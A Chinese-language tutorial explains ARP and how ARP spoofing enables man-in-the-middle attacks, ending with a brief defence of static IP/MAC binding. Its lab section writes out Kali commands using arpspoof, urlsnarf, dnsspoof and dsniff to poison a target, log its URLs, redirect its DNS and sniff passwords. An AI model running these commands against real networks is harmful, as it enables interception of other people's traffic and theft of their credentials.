中间人攻击(MITM)是一种由来已久的攻击手段,简单点说也就是截获你的流量,然后篡改或者嗅探流量,而且就算是老成的网络“高手”也不一定能发现自己中招了,接下来就由笔者给大家逐一介绍其中的攻击原理和防御手段。
ARP即地址解析协议,数据包在以太网中传输时需要有两个地址,一个是IP地址,另一个就是MAC地址。其中的IP地址只是用来进行逻辑寻址的,以太网并不能通过IP地址进行通信,因为IP地址是可以变换的,基于IP的通信不可靠也不安全,所以在以太网中主要是靠MAC地址进行物理通信,因为电脑的MAC地址在出产时就已经设定好,一般不会改变,而ARP协议就是用来帮助主机获取目标主机的MAC地址!
1.首先,每台主机都会在自己的ARP缓冲区建立一个ARP列表,用于表示IP地址和MAC地址的对应关系
2.当源主机需要向目标主机发送数据包时,会先检查自己的ARP缓冲区是否有该IP对应的MAC地址,如果有就直接发送数据包到该MAC地址;如果没有那么源主机就会在本网段发ARP广播包,查询目标主机的IP对应的MAC地址(注:这里只讨论局域网环境)
3.收到ARP广播包的主机会检查数据包中的目的IP地址和自己的IP地址是否一致,如果不同则丢弃数据包;如果相同那么目标主机会先将数据包中的IP/MAC对应关系缓存到自己的ARP列表中,并且会覆盖原本属于这个IP对应的MAC(注:这是中间人攻击的关键),然后给源主机发送一个 ARP响应数据包,告诉对方自己是它需要查找的MAC地址
4.源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。
0x02. ARP劫持原理
如上图所示,中间人攻击也就是将原本正常client<——>server
之间的通信劫持下来变成client<——>attacker<——>server
,让客户端和服务端的流量都从attacker的电脑经过,此时的attacker就可以侦听流经本机的流量并进行篡改和嗅探。下面介绍如何让attacker成为中间人。
1.一开始笔者就介绍了ARP协议的通信原理,之所以这么做是想让大家对协议有更深入的理解,然后更好的弄清楚中间人的本质,这样才知道如何防御
2.其实电脑是很笨的,它并不能向人类那样灵敏的思考,就好比我们直接给client发送一个ARP数据包声称:我的MAC对应的IP就是网关IP,以后把你的的数据包发给我让我帮你转发吧,然后client想都不想就会相信,而且也不理会自己是否发送了ARP广播包
3.欺骗网关时也是一样的,那么之后的通信就会成为client<——>attacker<——>gateway
0x03. MITM攻击实战
环境准备:
kali Linux win 7靶机 IP=192.168.1.106
1.启动kali的流量转发功能,然后启动arpspoof对靶机和网关进行双向欺骗,成为中间人
echo 1 > /proc/sys/net/ipv4/ip_forward && arpspoof -t 192.168.1.106 -r 192.168.1.1
2.启动urlsnarf监听靶机访问的URL
urlsnarf -i eth0
3.通过dnsspoof进行DNS欺骗(注:笔者使用这个工具时不太稳定,有时成功有时失败,但是大多数情况下都失败了,可能是我的靶机缓存有DNS记录,所以大家尽量选择没访问过的站点)
echo "192.168.1.1 *.wmpic.me" > dnsspoof.host && dnsspoof -i eth0 -f dnsspoof.host
4.通过dsniff嗅探密码
dsniff -cm
关于中间人的利用就介绍到这里吧,大家可以自行Google一下其他的工具,下面介绍一下防御方法。基于ARP的中间人攻击只需要在网关上设置IP/MAC绑定就能杜绝了,其实原理很简单,这就是上面我给大家介绍ARP原理的原因。